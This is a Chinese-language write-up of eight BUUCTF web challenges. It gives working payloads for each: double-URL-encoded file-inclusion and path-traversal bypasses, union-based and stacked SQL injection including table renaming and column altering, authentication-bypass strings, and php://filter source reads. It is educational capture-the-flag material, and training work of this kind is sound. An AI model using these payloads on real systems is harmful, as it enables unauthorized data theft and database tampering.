buuctf Web 上
字数 1485 2025-08-24 10:10:13
Web安全CTF挑战解题教程
1. [HCTF 2018]WarmUp
漏洞类型
- 文件包含漏洞
- 白名单绕过
解题步骤
-
查看页面源码发现提示
source.php -
构造URL访问
index.php?file=source.php获取源码 -
分析源码发现
checkFile函数有四个关键判断:- 检查
$page是否为字符串 - 检查
$page是否在白名单中(source.php或hint.php) - 检查截取
?前的部分是否在白名单中 - 检查URL解码后截取
?前的部分是否在白名单中
- 检查
-
利用双重URL编码绕过:
?两次编码为%253f- 构造payload:
file=source.php?file=source.php%253f.ffffllllaaaagggg
-
访问
hint.php获取提示:- 提示flag文件名
ffffllllaaaagggg - 每个字符重复4次提示需要往上级目录翻四层
- 提示flag文件名
-
最终payload:
http://url/index.php?file=source.php?ffffllllaaaagggg
关键点
- 双重URL编码绕过检查
- 目录遍历技巧
2. [极客大挑战 2019]EasySQL
漏洞类型
- SQL注入
解题方法一
-
测试注入点:
?username=1'&password=2' # 发现密码框存在注入 -
判断字段数:
?username=1&password=2' order by 3%23 # 确定3个字段 -
联合查询获取回显点:
?username=1&password=2' and 1=2 union select 1,2,3%23 -
获取flag:
?username=1&password=2' union select 1,2,flag from flag%23
解题方法二
- 万能密码登录:
?username=admin' or '1'='1&password=admin' or '1'='1
关键点
- 字符型注入
- 联合查询技巧
3. [强网杯 2019]随便注
漏洞类型
- 堆叠注入
- 表名/列名修改
解题步骤
-
判断注入类型:
1' # # 确认字符型注入 -
判断字段数:
1' order by 3 # # 确认2个字段 -
发现过滤规则:
1' union select 1,2 # # 显示过滤了select等关键词 -
堆叠注入查询:
1';show databases; # # 成功执行 1';show tables; # # 发现words和1919810931114514表 -
查询表结构:
0';desc `1919810931114514`; # # 发现flag字段 -
修改表结构绕过过滤:
0';rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100);# -
获取flag:
1' or 1=1#
关键点
- 堆叠注入利用
- 表结构修改技巧
4. [极客大挑战 2019]Havefun
漏洞类型
- 简单代码审计
解题步骤
-
查看页面源码发现PHP代码:
if($_GET['cat'] == 'dog') { echo 'Syc{cat_cat_cat_cat}'; } -
构造payload:
?cat=dog
5. [SUCTF 2019]EasySQL
漏洞类型
- 堆叠注入
- SQL模式修改
解题方法一
-
判断后端查询逻辑:
select $_POST[query] || flag from flag -
修改SQL模式:
1;set sql_mode=PIPES_AS_CONCAT;select 1
解题方法二
- 直接构造:
*,1
关键点
||运算符在不同SQL模式下的行为- 堆叠注入利用
6. [ACTF2020 新生赛]Include
漏洞类型
- 文件包含
- PHP伪协议
解题步骤
-
发现文件包含参数:
?file=flag.php -
使用filter伪协议读取源码:
?file=php://filter/read=convert.base64-encode/resource=flag.php -
解码获取flag
关键点
- PHP伪协议利用
- Base64编码绕过执行
7. [极客大挑战 2019]Secret File
漏洞类型
- 文件包含
- PHP伪协议
解题步骤
-
查看源码发现
Archive_room.php -
访问后找到
action.php(快速跳转到end.php) -
使用BurpSuite拦截
action.php响应 -
发现
secr3t.php,存在文件包含漏洞 -
使用filter伪协议读取
flag.php:/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php -
解码获取flag
关键点
- 页面跳转拦截
- 文件包含漏洞利用
8. [极客大挑战 2019]LoveSQL
漏洞类型
- SQL注入
解题步骤
-
万能密码登录:
username:1' or 1=1# password:123 -
判断字段数:
/check.php?username=admin' order by 3%23&password=1 -
联合查询获取回显点:
/check.php?username=1' union select 1,2,3%23&password=1 -
查询数据库信息:
/check.php?username=1' union select 1,database(),version()%23&password=1 -
爆表名:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1 -
爆字段名:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1 -
获取数据:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
关键点
- 联合注入完整流程
- 信息模式表利用
通用技巧总结
-
文件包含漏洞:
- 使用
php://filter伪协议读取源码 - 双重编码绕过检查
- 目录遍历技巧
- 使用
-
SQL注入:
- 字符型与数字型判断
- 联合注入完整流程
- 堆叠注入利用
- 表结构修改技巧
-
信息收集:
- 始终检查页面源码
- 拦截快速跳转页面
- 使用BurpSuite等工具辅助
-
编码技巧:
- URL编码
- Base64编码
- 双重编码绕过
-
黑名单绕过:
- 修改SQL模式
- 重命名表/列
- 使用替代语法